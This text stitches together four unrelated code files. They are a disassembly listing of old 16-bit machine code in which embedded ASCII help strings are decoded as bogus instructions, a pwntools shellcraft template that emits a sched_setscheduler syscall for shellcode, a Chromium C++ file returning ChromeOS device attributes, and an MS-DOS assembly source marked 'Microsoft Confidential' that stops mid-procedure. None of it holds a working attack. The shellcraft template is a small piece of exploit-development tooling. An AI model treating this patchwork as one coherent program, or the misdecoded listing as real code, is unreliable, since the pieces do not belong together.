0x0274 (0x0004E8) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x0275 (0x0004EA) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0276 (0x0004EC) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0277 (0x0004EE) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0278 (0x0004F0) 0x7006- f:00070 d: 6 | P = P + 6 (0x027E)
0x0279 (0x0004F2) 0x310E- f:00030 d: 270 | A = (OR[270])
0x027A (0x0004F4) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x027C (0x0004F8) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x027D (0x0004FA) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x027E (0x0004FC) 0x3102- f:00030 d: 258 | A = (OR[258])
0x027F (0x0004FE) 0x2913- f:00024 d: 275 | OR[275] = A
0x0280 (0x000500) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x0281 (0x000502) 0x292B- f:00024 d: 299 | OR[299] = A
0x0282 (0x000504) 0x1800-0x0103 f:00014 d: 0 | A = 259 (0x0103)
0x0284 (0x000508) 0x292C- f:00024 d: 300 | OR[300] = A
0x0285 (0x00050A) 0x211E- f:00020 d: 286 | A = OR[286]
0x0286 (0x00050C) 0x292D- f:00024 d: 301 | OR[301] = A
0x0287 (0x00050E) 0x2113- f:00020 d: 275 | A = OR[275]
0x0288 (0x000510) 0x292E- f:00024 d: 302 | OR[302] = A
0x0289 (0x000512) 0x1050- f:00010 d: 80 | A = 80 (0x0050)
0x028A (0x000514) 0x292F- f:00024 d: 303 | OR[303] = A
0x028B (0x000516) 0x2128- f:00020 d: 296 | A = OR[296]
0x028C (0x000518) 0x2930- f:00024 d: 304 | OR[304] = A
0x028D (0x00051A) 0x112B- f:00010 d: 299 | A = 299 (0x012B)
0x028E (0x00051C) 0x5800- f:00054 d: 0 | B = A
0x028F (0x00051E) 0x1800-0x2718 f:00014 d: 0 | A = 10008 (0x2718)
0x0291 (0x000522) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0292 (0x000524) 0x769B- f:00073 d: 155 | R = P - 155 (0x01F7)
0x0293 (0x000526) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0294 (0x000528) 0x2926- f:00024 d: 294 | OR[294] = A
0x0295 (0x00052A) 0x0200- f:00001 d: 0 | EXIT
0x0296 (0x00052C) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x0297 (0x00052E) 0x292B- f:00024 d: 299 | OR[299] = A
0x0298 (0x000530) 0x1800-0x0123 f:00014 d: 0 | A = 291 (0x0123)
0x029A (0x000534) 0x292C- f:00024 d: 300 | OR[300] = A
0x029B (0x000536) 0x1800-0x0005 f:00014 d: 0 | A = 5 (0x0005)
0x029D (0x00053A) 0x292D- f:00024 d: 301 | OR[301] = A
0x029E (0x00053C) 0x211B- f:00020 d: 283 | A = OR[283]
0x029F (0x00053E) 0x2524- f:00022 d: 292 | A = A + OR[292]
0x02A0 (0x000540) 0x292E- f:00024 d: 302 | OR[302] = A
0x02A1 (0x000542) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x02A2 (0x000544) 0x292F- f:00024 d: 303 | OR[303] = A
0x02A3 (0x000546) 0x211E- f:00020 d: 286 | A = OR[286]
0x02A4 (0x000548) 0x2930- f:00024 d: 304 | OR[304] = A
0x02A5 (0x00054A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x02A6 (0x00054C) 0x2931- f:00024 d: 305 | OR[305] = A
0x02A7 (0x00054E) 0x1050- f:00010 d: 80 | A = 80 (0x0050)
0x02A8 (0x000550) 0x2932- f:00024 d: 306 | OR[306] = A
0x02A9 (0x000552) 0x112B- f:00010 d: 299 | A = 299 (0x012B)
0x02AA (0x000554) 0x5800- f:00054 d: 0 | B = A
0x02AB (0x000556) 0x1800-0x2718 f:00014 d: 0 | A = 10008 (0x2718)
0x02AD (0x00055A) 0x7C09- f:00076 d: 9 | R = OR[9]
0x02AE (0x00055C) 0x2D24- f:00026 d: 292 | OR[292] = OR[292] + 1
0x02AF (0x00055E) 0x0200- f:00001 d: 0 | EXIT
0x02B0 (0x000560) 0x494F- f:00044 d: 335 | A = A > B | **** non-standard encoding with D:0x014F ****
0x02B1 (0x000562) 0x5320- f:00051 d: 288 | A = A & B | **** non-standard encoding with D:0x0120 ****
0x02B2 (0x000564) 0x5354- f:00051 d: 340 | A = A & B | **** non-standard encoding with D:0x0154 ****
0x02B3 (0x000566) 0x4154- f:00040 d: 340 | C = 1, io 0524 = DN
0x02B4 (0x000568) 0x494F- f:00044 d: 335 | A = A > B | **** non-standard encoding with D:0x014F ****
0x02B5 (0x00056A) 0x4E20- f:00047 d: 32 | A = A << B | **** non-standard encoding with D:0x0020 ****
0x02B6 (0x00056C) 0x4845- f:00044 d: 69 | A = A > B | **** non-standard encoding with D:0x0045 ****
0x02B7 (0x00056E) 0x4C50- f:00046 d: 80 | A = A >> B | **** non-standard encoding with D:0x0050 ****
0x02B8 (0x000570) 0x2046- f:00020 d: 70 | A = OR[70]
0x02B9 (0x000572) 0x4143- f:00040 d: 323 | C = 1, io 0503 = DN
0x02BA (0x000574) 0x494C- f:00044 d: 332 | A = A > B | **** non-standard encoding with D:0x014C ****
0x02BB (0x000576) 0x4954- f:00044 d: 340 | A = A > B | **** non-standard encoding with D:0x0154 ****
0x02BC (0x000578) 0x5920- f:00054 d: 288 | B = A | **** non-standard encoding with D:0x0120 ****
0x02BD (0x00057A) 0x2D20- f:00026 d: 288 | OR[288] = OR[288] + 1
0x02BE (0x00057C) 0x5354- f:00051 d: 340 | A = A & B | **** non-standard encoding with D:0x0154 ****
0x02BF (0x00057E) 0x4154- f:00040 d: 340 | C = 1, io 0524 = DN
0x02C0 (0x000580) 0x494F- f:00044 d: 335 | A = A > B | **** non-standard encoding with D:0x014F ****
0x02C1 (0x000582) 0x4E20- f:00047 d: 32 | A = A << B | **** non-standard encoding with D:0x0020 ****
0x02C2 (0x000584) 0x434F- f:00041 d: 335 | C = 1, io 0517 = BZ
0x02C3 (0x000586) 0x4D4D- f:00046 d: 333 | A = A >> B | **** non-standard encoding with D:0x014D ****
0x02C4 (0x000588) 0x414E- f:00040 d: 334 | C = 1, io 0516 = DN
0x02C5 (0x00058A) 0x4453- f:00042 d: 83 | C = 1, IOB = DN | **** non-standard encoding with D:0x0053 ****
0x02C6 (0x00058C) 0x2020- f:00020 d: 32 | A = OR[32]
0x02C7 (0x00058E) 0x2020- f:00020 d: 32 | A = OR[32]
0x02C8 (0x000590) 0x0000- f:00000 d: 0 | PASS
0x02C9 (0x000592) 0x494F- f:00044 d: 335 | A = A > B | **** non-standard encoding with D:0x014F ****
0x02CA (0x000594) 0x5320- f:00051 d: 288 | A = A & B | **** non-standard encoding with D:0x0120 ****
0x02CB (0x000596) 0x5354- f:00051 d: 340 | A = A & B | **** non-standard encoding with D:0x0154 ****
0x02CC (0x000598) 0x4154- f:00040 d: 340 | C = 1, io 0524 = DN
0x02CD (0x00059A) 0x494F- f:00044 d: 335 | A = A > B | **** non-standard encoding with D:0x014F ****
0x02CE (0x00059C) 0x4E20- f:00047 d: 32 | A = A << B | **** non-standard encoding with D:0x0020 ****
0x02CF (0x00059E) 0x4845- f:00044 d: 69 | A = A > B | **** non-standard encoding with D:0x0045 ****
0x02D0 (0x0005A0) 0x4C50- f:00046 d: 80 | A = A >> B | **** non-standard encoding with D:0x0050 ****
0x02D1 (0x0005A2) 0x2046- f:00020 d: 70 | A = OR[70]
0x02D2 (0x0005A4) 0x4143- f:00040 d: 323 | C = 1, io 0503 = DN
0x02D3 (0x0005A6) 0x494C- f:00044 d: 332 | A = A > B | **** non-standard encoding with D:0x014C ****
0x02D4 (0x0005A8) 0x4954- f:00044 d: 340 | A = A > B | **** non-standard encoding with D:0x0154 ****
0x02D5 (0x0005AA) 0x5920- f:00054 d: 288 | B = A | **** non-standard encoding with D:0x0120 ****
0x02D6 (0x0005AC) 0x2D20- f:00026 d: 288 | OR[288] = OR[288] + 1
0x02D7 (0x0005AE) 0x494E- f:00044 d: 334 | A = A > B | **** non-standard encoding with D:0x014E ****
0x02D8 (0x0005B0) 0x5445- f:00052 d: 69 | A = A + B | **** non-standard encoding with D:0x0045 ****
0x02D9 (0x0005B2) 0x5241- f:00051 d: 65 | A = A & B | **** non-standard encoding with D:0x0041 ****
0x02DA (0x0005B4) 0x4354- f:00041 d: 340 | C = 1, io 0524 = BZ
0x02DB (0x0005B6) 0x4956- f:00044 d: 342 | A = A > B | **** non-standard encoding with D:0x0156 ****
0x02DC (0x0005B8) 0x4520- f:00042 d: 288 | C = 1, IOB = DN | **** non-standard encoding with D:0x0120 ****
0x02DD (0x0005BA) 0x434F- f:00041 d: 335 | C = 1, io 0517 = BZ
0x02DE (0x0005BC) 0x4D4D- f:00046 d: 333 | A = A >> B | **** non-standard encoding with D:0x014D ****
0x02DF (0x0005BE) 0x414E- f:00040 d: 334 | C = 1, io 0516 = DN
0x02E0 (0x0005C0) 0x4453- f:00042 d: 83 | C = 1, IOB = DN | **** non-standard encoding with D:0x0053 ****
0x02E1 (0x0005C2) 0x0000- f:00000 d: 0 | PASS
0x02E2 (0x0005C4) 0x494F- f:00044 d: 335 | A = A > B | **** non-standard encoding with D:0x014F ****
0x02E3 (0x0005C6) 0x5320- f:00051 d: 288 | A = A & B | **** non-standard encoding with D:0x0120 ****
0x02E4 (0x0005C8) 0x5354- f:00051 d: 340 | A = A & B | **** non-standard encoding with D:0x0154 ****
0x02E5 (0x0005CA) 0x4154- f:00040 d: 340 | C = 1, io 0524 = DN
0x02E6 (0x0005CC) 0x494F- f:00044 d: 335 | A = A > B | **** non-standard encoding with D:0x014F ****
0x02E7 (0x0005CE) 0x4E20- f:00047 d: 32 | A = A << B | **** non-standard encoding with D:0x0020 ****
0x02E8 (0x0005D0) 0x4845- f:00044 d: 69 | A = A > B | **** non-standard encoding with D:0x0045 ****
0x02E9 (0x0005D2) 0x4C50- f:00046 d: 80 | A = A >> B | **** non-standard encoding with D:0x0050 ****
0x02EA (0x0005D4) 0x2046- f:00020 d: 70 | A = OR[70]
0x02EB (0x0005D6) 0x4143- f:00040 d: 323 | C = 1, io 0503 = DN
0x02EC (0x0005D8) 0x494C- f:00044 d: 332 | A = A > B | **** non-standard encoding with D:0x014C ****
0x02ED (0x0005DA) 0x4954- f:00044 d: 340 | A = A > B | **** non-standard encoding with D:0x0154 ****
0x02EE (0x0005DC) 0x5920- f:00054 d: 288 | B = A | **** non-standard encoding with D:0x0120 ****
0x02EF (0x0005DE) 0x2D20- f:00026 d: 288 | OR[288] = OR[288] + 1
0x02F0 (0x0005E0) 0x4B45- f:00045 d: 325 | A = A < B | **** non-standard encoding with D:0x0145 ****
0x02F1 (0x0005E2) 0x524E- f:00051 d: 78 | A = A & B | **** non-standard encoding with D:0x004E ****
0x02F2 (0x0005E4) 0x454C- f:00042 d: 332 | C = 1, IOB = DN | **** non-standard encoding with D:0x014C ****
0x02F3 (0x0005E6) 0x2043- f:00020 d: 67 | A = OR[67]
0x02F4 (0x0005E8) 0x4F4D- f:00047 d: 333 | A = A << B | **** non-standard encoding with D:0x014D ****
0x02F5 (0x0005EA) 0x4D41- f:00046 d: 321 | A = A >> B | **** non-standard encoding with D:0x0141 ****
0x02F6 (0x0005EC) 0x4E44- f:00047 d: 68 | A = A << B | **** non-standard encoding with D:0x0044 ****
0x02F7 (0x0005EE) 0x5320- f:00051 d: 288 | A = A & B | **** non-standard encoding with D:0x0120 ****
0x02F8 (0x0005F0) 0x2020- f:00020 d: 32 | A = OR[32]
0x02F9 (0x0005F2) 0x2020- f:00020 d: 32 | A = OR[32]
0x02FA (0x0005F4) 0x0000- f:00000 d: 0 | PASS
0x02FB (0x0005F6) 0x4E4F- f:00047 d: 79 | A = A << B | **** non-standard encoding with D:0x004F ****
0x02FC (0x0005F8) 0x2048- f:00020 d: 72 | A = OR[72]
0x02FD (0x0005FA) 0x454C- f:00042 d: 332 | C = 1, IOB = DN | **** non-standard encoding with D:0x014C ****
0x02FE (0x0005FC) 0x5020- f:00050 d: 32 | A = B | **** non-standard encoding with D:0x0020 ****
0x02FF (0x0005FE) 0x4156- f:00040 d: 342 | C = 1, io 0526 = DN
0x0300 (0x000600) 0x4149- f:00040 d: 329 | C = 1, io 0511 = DN
0x0301 (0x000602) 0x4C41- f:00046 d: 65 | A = A >> B | **** non-standard encoding with D:0x0041 ****
0x0302 (0x000604) 0x424C- f:00041 d: 76 | C = 1, io 0114 = BZ
0x0303 (0x000606) 0x4500- f:00042 d: 256 | C = 1, IOB = DN | **** non-standard encoding with D:0x0100 ****
0x0304 (0x000608) 0x4652- f:00043 d: 82 | C = 1, IOB = BZ | **** non-standard encoding with D:0x0052 ****
0x0305 (0x00060A) 0x414D- f:00040 d: 333 | C = 1, io 0515 = DN
0x0306 (0x00060C) 0x4520- f:00042 d: 288 | C = 1, IOB = DN | **** non-standard encoding with D:0x0120 ****
0x0307 (0x00060E) 0x0000- f:00000 d: 0 | PASS
0x0308 (0x000610) 0x466F- f:00043 d: 111 | C = 1, IOB = BZ | **** non-standard encoding with D:0x006F ****
0x0309 (0x000612) 0x726D- f:00071 d: 109 | P = P - 109 (0x029C)
0x030A (0x000614) 0x6174- f:00060 d: 372 | A = OR[B] | **** non-standard encoding with D:0x0174 ****
0x030B (0x000616) 0x3A20- f:00035 d: 32 | (OR[32]) = A + (OR[32])
0x030C (0x000618) 0x0000- f:00000 d: 0 | PASS
0x030D (0x00061A) 0x0000- f:00000 d: 0 | PASS
0x030E (0x00061C) 0x0000- f:00000 d: 0 | PASS
0x030F (0x00061E) 0x0000- f:00000 d: 0 | PASS
|
<%
from pwnlib.shellcraft.amd64.linux import syscall
%>
<%page args="pid, policy, param"/>
<%docstring>
Invokes the syscall sched_setscheduler. See 'man 2 sched_setscheduler' for more information.
Arguments:
pid(pid_t): pid
policy(int): policy
param(sched_param): param
</%docstring>
${syscall('SYS_sched_setscheduler', pid, policy, param)}
|
// Copyright 2021 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/device_api/device_attribute_api.h"
#include "build/chromeos_buildflags.h"
#if BUILDFLAG(IS_CHROMEOS_ASH)
#include "chrome/browser/browser_process.h"
#include "chrome/browser/browser_process_platform_part.h"
#include "chrome/browser/chromeos/policy/core/browser_policy_connector_chromeos.h"
#include "chrome/browser/chromeos/policy/handlers/hostname_handler.h"
#include "chromeos/system/statistics_provider.h"
#elif BUILDFLAG(IS_CHROMEOS_LACROS)
#include "chromeos/lacros/lacros_chrome_service_impl.h"
#endif
namespace device_attribute_api {
namespace {
using Result = blink::mojom::DeviceAttributeResult;
#if !BUILDFLAG(IS_CHROMEOS_ASH) && !BUILDFLAG(IS_CHROMEOS_LACROS)
const char kNotSupportedPlatformErrorMessage[] =
"This restricted web API is not supported on the current platform.";
#endif
#if BUILDFLAG(IS_CHROMEOS_LACROS)
void AdaptLacrosResult(
DeviceAPIService::GetDirectoryIdCallback callback,
crosapi::mojom::DeviceAttributesStringResultPtr lacros_result) {
if (lacros_result->is_error_message()) {
std::move(callback).Run(
Result::NewErrorMessage(lacros_result->get_error_message()));
} else if (lacros_result->get_contents().empty()) {
std::move(callback).Run(
Result::NewAttribute(absl::optional<std::string>()));
} else {
std::move(callback).Run(
Result::NewAttribute(lacros_result->get_contents()));
}
}
#endif
} // namespace
void GetDirectoryId(DeviceAPIService::GetDirectoryIdCallback callback) {
#if BUILDFLAG(IS_CHROMEOS_ASH)
const std::string attribute = g_browser_process->platform_part()
->browser_policy_connector_chromeos()
->GetDirectoryApiID();
if (attribute.empty())
std::move(callback).Run(
Result::NewAttribute(absl::optional<std::string>()));
else
std::move(callback).Run(Result::NewAttribute(attribute));
#elif BUILDFLAG(IS_CHROMEOS_LACROS)
chromeos::LacrosChromeServiceImpl::Get()
->GetRemote<crosapi::mojom::DeviceAttributes>()
->GetDirectoryDeviceId(
base::BindOnce(AdaptLacrosResult, std::move(callback)));
#else // Other platforms
std::move(callback).Run(
Result::NewErrorMessage(kNotSupportedPlatformErrorMessage));
#endif
}
void GetHostname(DeviceAPIService::GetHostnameCallback callback) {
#if BUILDFLAG(IS_CHROMEOS_ASH)
const std::string attribute = g_browser_process->platform_part()
->browser_policy_connector_chromeos()
->GetHostnameHandler()
->GetDeviceHostname();
if (attribute.empty())
std::move(callback).Run(
Result::NewAttribute(absl::optional<std::string>()));
else
std::move(callback).Run(Result::NewAttribute(attribute));
#elif BUILDFLAG(IS_CHROMEOS_LACROS)
chromeos::LacrosChromeServiceImpl::Get()
->GetRemote<crosapi::mojom::DeviceAttributes>()
->GetDeviceHostname(
base::BindOnce(AdaptLacrosResult, std::move(callback)));
#else // Other platforms
std::move(callback).Run(
Result::NewErrorMessage(kNotSupportedPlatformErrorMessage));
#endif
}
void GetSerialNumber(DeviceAPIService::GetSerialNumberCallback callback) {
#if BUILDFLAG(IS_CHROMEOS_ASH)
const std::string attribute =
chromeos::system::StatisticsProvider::GetInstance()
->GetEnterpriseMachineID();
if (attribute.empty())
std::move(callback).Run(
Result::NewAttribute(absl::optional<std::string>()));
else
std::move(callback).Run(Result::NewAttribute(attribute));
#elif BUILDFLAG(IS_CHROMEOS_LACROS)
chromeos::LacrosChromeServiceImpl::Get()
->GetRemote<crosapi::mojom::DeviceAttributes>()
->GetDeviceSerialNumber(
base::BindOnce(AdaptLacrosResult, std::move(callback)));
#else // Other platforms
std::move(callback).Run(
Result::NewErrorMessage(kNotSupportedPlatformErrorMessage));
#endif
}
void GetAnnotatedAssetId(
DeviceAPIService::GetAnnotatedAssetIdCallback callback) {
#if BUILDFLAG(IS_CHROMEOS_ASH)
const std::string attribute = g_browser_process->platform_part()
->browser_policy_connector_chromeos()
->GetDeviceAssetID();
if (attribute.empty())
std::move(callback).Run(
Result::NewAttribute(absl::optional<std::string>()));
else
std::move(callback).Run(Result::NewAttribute(attribute));
#elif BUILDFLAG(IS_CHROMEOS_LACROS)
chromeos::LacrosChromeServiceImpl::Get()
->GetRemote<crosapi::mojom::DeviceAttributes>()
->GetDeviceAssetId(
base::BindOnce(AdaptLacrosResult, std::move(callback)));
#else // Other platforms
std::move(callback).Run(
Result::NewErrorMessage(kNotSupportedPlatformErrorMessage));
#endif
}
void GetAnnotatedLocation(
DeviceAPIService::GetAnnotatedLocationCallback callback) {
#if BUILDFLAG(IS_CHROMEOS_ASH)
const std::string attribute = g_browser_process->platform_part()
->browser_policy_connector_chromeos()
->GetDeviceAnnotatedLocation();
if (attribute.empty())
std::move(callback).Run(
Result::NewAttribute(absl::optional<std::string>()));
else
std::move(callback).Run(Result::NewAttribute(attribute));
#elif BUILDFLAG(IS_CHROMEOS_LACROS)
chromeos::LacrosChromeServiceImpl::Get()
->GetRemote<crosapi::mojom::DeviceAttributes>()
->GetDeviceAnnotatedLocation(
base::BindOnce(AdaptLacrosResult, std::move(callback)));
#else // Other platforms
std::move(callback).Run(
Result::NewErrorMessage(kNotSupportedPlatformErrorMessage));
#endif
}
} // namespace device_attribute_api
|
TITLE GETSET - GETting and SETting MS-DOS system calls
NAME GETSET
;
; Microsoft Confidential
; Copyright (C) Microsoft Corporation 1991
; All Rights Reserved.
;
; ==========================================================================
;** GETSET - System Calls which get and set various things
;
; $GET_VERSION
; $GET_VERIFY_ON_WRITE
; $SET_VERIFY_ON_WRITE
; $INTERNATIONAL
; $GET_DRIVE_FREESPACE
; $GET_DMA
; $SET_DMA
; $GET_DEFAULT_DRIVE
; $SET_DEFAULT_DRIVE
; $GET_INTERRUPT_VECTOR
; $SET_INTERRUPT_VECTOR
; RECSET
; $CHAR_OPER
; $GetExtendedError DOS 3.3
; Get_Global_CdPg DOS 4.0
; $ECS_CALL DOS 4.0
;
; Revision history:
;
; Created: ARR 30 March 1983
;
; A000 version 4.0 Jan. 1988
; A006 D503-- fake version for IBMCACHE
; A008 P4070- fake version for MS WINDOWS
;
; DOS5 added new getversion call AX=3001H -- 4/3/90
; Returns flags in BH:
;
; bits 0-2 = DOS internal revision
; bits 3-7 = DOS type flags
; bit 3 = DOS is in ROM
; bit 4 = DOS in in HMA
; bits 5-7 = reserved
;
; M004 - MS PASCAL 3.2 support. Please see under tag M003 in dossym.inc
; 7/30/90
;
; M007 - Change to new style GetVersion call - 8/6/90
;
; M068 - use a count value (A20OFF_COUNT) rather than a bit to
; indicate to dos dispatcher to turn a20 off before iret.
; See M004.
;
; ==========================================================================
.xlist
.xcref
INCLUDE version.inc
INCLUDE dosseg.inc
INCLUDE dossym.inc
INCLUDE devsym.inc
INCLUDE doscntry.inc
INCLUDE mult.inc
INCLUDE pdb.inc
.cref
.list
IFNDEF ALTVECT
ALTVECT EQU 0 ; FALSE
ENDIF
; ==========================================================================
DosData SEGMENT WORD PUBLIC 'DATA'
EXTRN USERNUM :WORD
EXTRN MSVERS :WORD
EXTRN VERFLG :BYTE
EXTRN CNTCFLAG :BYTE
EXTRN DMAADD :DWORD
EXTRN CURDRV :BYTE
EXTRN chSwitch :BYTE
EXTRN COUNTRY_CDPG :byte ;DOS 3.3
EXTRN CDSCount :BYTE
EXTRN ThisCDS :DWORD
EXTRN EXTERR :WORD
EXTRN EXTERR_ACTION :BYTE
EXTRN EXTERR_CLASS :BYTE
EXTRN EXTERR_LOCUS :BYTE
EXTRN EXTERRPT :DWORD
EXTRN UCASE_TAB :BYTE
EXTRN FILE_UCASE_TAB :BYTE
EXTRN InterCon :BYTE
EXTRN CURRENTPDB :WORD
EXTRN DBCS_TAB :BYTE
EXTRN NLS_YES :BYTE
EXTRN NLS_yes2 :BYTE
EXTRN NLS_NO :BYTE
EXTRN NLS_no2 :BYTE
EXTRN Special_version :WORD
EXTRN Fake_Count :BYTE
EXTRN A20OFF_COUNT :BYTE ; M068, M004
EXTRN DOS_FLAG :BYTE ; M068
DosData ENDS
; ==========================================================================
DOSCODE SEGMENT
ASSUME SS:DOSDATA,CS:DOSCODE
allow_getdseg
EXTRN CurrentPDB :WORD
EXTRN Get_User_Stack :NEAR ; return pointer to user stack
BREAK <$Get_Version -- Return DOS version number>
; =========================================================================
; $Get_Version - Return DOS Version Number
;
; Fake_Count is used to lie about the version numbers to support
; old binarys. See ms_table.asm for more info.
;
; ENTRY none
; EXIT (bl:cx) = user number (24 bits)
; (al.ah) = version # (in binary)
;
; if input al = 00
; (bh) = OEM number
; else if input al = 01
; (bh) = version flags
;
; bits 0-2 = DOS internal revision
; bits 3-7 = DOS type flags
; bit 3 = DOS is in ROM
; bit 4 = DOS in in HMA
; bits 5-7 = reserved
; M007 change - only bit 3 is now valid. Other bits
; are 0 when AL = 1
; USES all
; =========================================================================
PROCEDURE $Get_Version ,NEAR
context DS ; SS is DOSDATA
mov BX,[UserNum + 2]
mov CX,[UserNum]
;If AL == 1, ROMDOS will return BH = dos internal version # &
;DOS flags
cmp AL,1
jnz Norm_Vers
ifdef ROMDOS
mov BH, DOSINROM ; Just set the bit for ROM version
else
xor bh,bh ; Otherwise return 0
endif ;M007 end
;
norm_vers: ; MSVERS is a label in TABLE segment
push DS ; Get the version number from the
mov DS,CurrentPDB ; current app's PSP segment
mov AX,DS:[PDB_Version] ; AX = DOS version number
pop DS
call Get_User_Stack ; Returns DS:SI --> Caller's stack
ASSUME DS:NOTHING
mov [SI.User_AX],AX ; Put values for return registers
mov [SI.User_BX],BX ; in the proper place on the user's
mov [SI.User_CX],CX ; stack addressed by DS:SI
return
ENDPROC $Get_Version
; =========================================================================
BREAK <$Get/Set_Verify_on_Write - return/set verify-after-write flag>
; =========================================================================
;** $Get_Verify_On_Write - Get Status of Verify on write flag
;
; ENTRY none
; EXIT (al) = value of VERIFY flag
; USES all
; =========================================================================
procedure $GET_VERIFY_ON_WRITE,NEAR
;hkn; SS override
MOV AL,[VERFLG]
return
EndProc $GET_VERIFY_ON_WRITE
;** $Set_Verify_On_Write - Set Status of Verify on write flag
;
; ENTRY (al) = value of VERIFY flag
; EXIT none
; USES all
procedure $SET_VERIFY_ON_WRITE,NEAR
AND AL,1
;hkn; SS override
MOV [VERFLG],AL
return
EndProc $SET_VERIFY_ON_WRITE
BREAK <$International - return country-dependent information>
;----------------------------------------------------------------------------
;
; Procedure Name : $INTERNATIONAL
;
; Inputs:
; MOV AH,International
; MOV AL,country (al = 0 => current country)
; [MOV BX,country]
; LDS DX,block
; INT 21
; Function:
; give users an idea of what country the application is running
; Outputs:
; IF DX != -1 on input (get country)
; AL = 0 means return current country table.
; 0<AL<0FFH means return country table for country AL
; AL = 0FF means return country table for country BX
; No Carry:
; Register BX will contain the 16-bit country code.
; Register AL will contain the low 8 bits of the country code.
; The block pointed to by DS:DX is filled in with the information
; for the particular country.
; BYTE Size of this table excluding this byte and the next
; BYTE Country code represented by this table
; A sequence of n bytes, where n is the number specified
; by the first byte above and is not > internat_block_max,
; in the correct order for being returned by the
; INTERNATIONAL call as follows:
; WORD Date format 0=mdy, 1=dmy, 2=ymd
; 5 BYTE Currency symbol null terminated
; 2 BYTE thousands separator null terminated
; 2 BYTE Decimal point null terminated
; 2 BYTE Date separator null terminated
; 2 BYTE Time separator null terminated
; 1 BYTE Bit field. Currency format.
; Bit 0. =0 $ before # =1 $ after #
; Bit 1. no. of spaces between # and $ (0 or 1)
; 1 BYTE No. of significant decimal digits in currency
; 1 BYTE Bit field. Time format.
; Bit 0. =0 12 hour clock =1 24 hour
; DWORD Call address of case conversion routine
; 2 BYTE Data list separator null terminated.
; Carry:
; Register AX has the error code.
; IF DX = -1 on input (set current country)
; AL = 0 is an error
; 0<AL<0FFH means set current country to country AL
; AL = 0FF means set current country to country BX
; No Carry:
; Current country SET
; Register AL will contain the low 8 bits of the country code.
; Carry:
; Register AX has the error code.
;-----------------------------------------------------------------------------
procedure $INTERNATIONAL,NEAR ; DOS 3.3
CMP AL,0FFH
JZ BX_HAS_CODE ; -1 means country code is in BX
MOV BL,AL ; Put AL country code in BX
XOR BH,BH
BX_HAS_CODE:
PUSH DS
POP ES
PUSH DX
POP DI ; User buffer to ES:DI
;hkn; SS is DOSDATA
context DS
CMP DI,-1
JZ international_set
OR BX,BX
JNZ international_find
;hkn; country_cdpg is in DOSDATA segment.
MOV SI,OFFSET DOSDATA:COUNTRY_CDPG
JMP SHORT international_copy
international_find:
MOV BP,0 ; flag it for GetCntry only
CALL international_get
JC errtn
CMP BX,0 ; nlsfunc finished it ?
JNZ SHORT international_copy ; no, copy by myself
MOV BX,DX ; put country back
JMP SHORT international_ok3
international_get:
;hkn; country_cdpg is in DOSDATA segment.
;hkn; use ss override to access COUNTRY_CDPG fields
MOV SI,OFFSET DOSDATA:COUNTRY_CDPG
CMP BX,ss:[SI.ccDosCountry] ; = current country id;smr;SS Override
retz ; return if equal
MOV DX,BX
XOR BX,BX ; bx = 0, default code page
CallInstall NLSInstall,NLSFUNC,0 ; check if NLSFUNC in memory
CMP AL,0FFH
JNZ interr ; not in memory
or bp,bp ; GetCntry ?
JNZ stcdpg
CallInstall GetCntry,NLSFUNC,4 ; get country info
JMP short chkok
stcdpg:
CallInstall SetCodePage,NLSFUNC,3 ; set country info
chkok:
or al,al ; success ?
retz ; yes
setcarry:
STC ; set carry
ret
interr:
MOV AL,0FFH ; flag nlsfunc error
JMP setcarry
international_copy:
;hkn; country_cdpg is in DOSDATA segment.
;hkn; use ss override to access COUNTRY_CDPG fields
MOV BX,ss:[SI.ccDosCountry] ; = current country id;smr;SS Override
MOV SI,OFFSET DOSDATA:COUNTRY_CDPG.ccDFormat
MOV CX,OLD_COUNTRY_SIZE
;hkn; must set up DS to SS so that international info can be copied
push ds
push ss ; cs -> ss
pop ds
REP MOVSB ;copy country info
;hkn; restore ds
pop ds
international_ok3:
call get_user_stack
ASSUME DS:NOTHING
MOV [SI.user_BX],BX
international_ok:
MOV AX,BX ; Return country code in AX too.
transfer SYS_RET_OK
international_set:
;hkn; ASSUME DS:DOSGROUP
ASSUME DS:DOSDATA
MOV BP,1 ; flag it for SetCodePage only
CALL international_get
JNC international_ok
errtn:
CMP AL,0FFH
JZ errtn2
transfer SYS_RET_ERR ; return what we got from NLSFUNC
errtn2:
error error_Invalid_Function ; NLSFUNC not existent
EndProc $INTERNATIONAL
BREAK <$GetExtCntry - return extended country-dependent information>
;---------------------------------------------------------------------------
;
; Procedure Name : $GetExtCntry
;
; Inputs:
; if AL >= 20H
; AL= 20H capitalize single char, DL= char
; 21H capitalize string ,CX= string length
; 22H capitalize ASCIIZ string
; 23H YES/NO check, DL=1st char DH= 2nd char (DBCS)
; 80H bit 0 = use normal upper case table
; 1 = use file upper case table
; DS:DX points to string
;
; else
;
; MOV AH,GetExtCntry ; DOS 3.3
; MOV AL,INFO_ID ( info type,-1 selects all)
; MOV BX,CODE_PAGE ( -1 = active code page )
; MOV DX,COUNTRY_ID ( -1 = active country )
; MOV CX,SIZE ( amount of data to return)
; LES DI,COUNTRY_INFO ( buffer for returned data )
; INT 21
; Function:
; give users extended country dependent information
; or capitalize chars
; Outputs:
; No Carry:
; extended country info is succesfully returned
; Carry:
; Register AX has the error code.
; AX=0, NO for YES/NO CHECK
; 1, YES
;-------------------------------------------------------------------------------
procedure $GetExtCntry,NEAR ; DOS 3.3
CMP AL,CAP_ONE_CHAR ; < 20H ?
ifdef DBCS
jnb capcap
jmp notcap
else
JB notcap
endif
capcap: ;
TEST AL,UPPER_TABLE ; which upper case table
JNZ fileupper ; file upper case
;hkn; UCASE_TAB in DOSDATA
MOV BX,OFFSET DOSDATA:UCASE_TAB+2 ; get normal upper case
JMP SHORT capit
fileupper:
;hkn; FILE_UCASE_TAB in DOSDATA
